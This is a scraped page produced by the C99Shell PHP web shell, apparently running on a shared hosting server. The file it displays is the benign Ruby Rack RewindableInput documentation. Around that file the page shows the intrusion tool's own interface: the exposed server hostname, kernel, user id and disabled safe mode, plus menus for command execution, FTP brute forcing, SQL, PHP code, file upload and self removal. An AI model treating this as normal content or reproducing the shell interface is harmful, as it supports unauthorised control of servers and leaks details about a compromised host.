!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/rdoc/Rack/   drwxr-xr-x
Free 223.47 GB of 981.82 GB (22.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RewindableInput.html (21.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Class: Rack::RewindableInput

Files

Class/Module Index [+]

Quicksearch

Rack::RewindableInput

Class which can make any IO object rewindable, including non-rewindable ones. It does this by buffering the data into a tempfile, which is rewindable.

rack.input is required to be rewindable, so if your input stream IO is non-rewindable by nature (e.g. a pipe or a socket) then you can wrap it in an object of this class to easily make it rewindable.

Don't forget to call close when you're done. This frees up temporary resources that RewindableInput uses, though it does not close the original IO object.

Public Class Methods

new(io) click to toggle source
# File lib/rack/rewindable_input.rb, line 15
def initialize(io)
  @io = io
  @rewindable_io = nil
  @unlinked = false
end

Public Instance Methods

close() click to toggle source

Closes this RewindableInput object without closing the originally wrapped IO oject. Cleans up any temporary resources that this RewindableInput has created.

This method may be called multiple times. It does nothing on subsequent calls.

# File lib/rack/rewindable_input.rb, line 46
def close
  if @rewindable_io
    if @unlinked
      @rewindable_io.close
    else
      @rewindable_io.close!
    end
    @rewindable_io = nil
  end
end
each(&block) click to toggle source
# File lib/rack/rewindable_input.rb, line 31
def each(&block)
  make_rewindable unless @rewindable_io
  @rewindable_io.each(&block)
end
gets() click to toggle source
# File lib/rack/rewindable_input.rb, line 21
def gets
  make_rewindable unless @rewindable_io
  @rewindable_io.gets
end
read(*args) click to toggle source
# File lib/rack/rewindable_input.rb, line 26
def read(*args)
  make_rewindable unless @rewindable_io
  @rewindable_io.read(*args)
end
rewind() click to toggle source
# File lib/rack/rewindable_input.rb, line 36
def rewind
  make_rewindable unless @rewindable_io
  @rewindable_io.rewind
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0217 ]--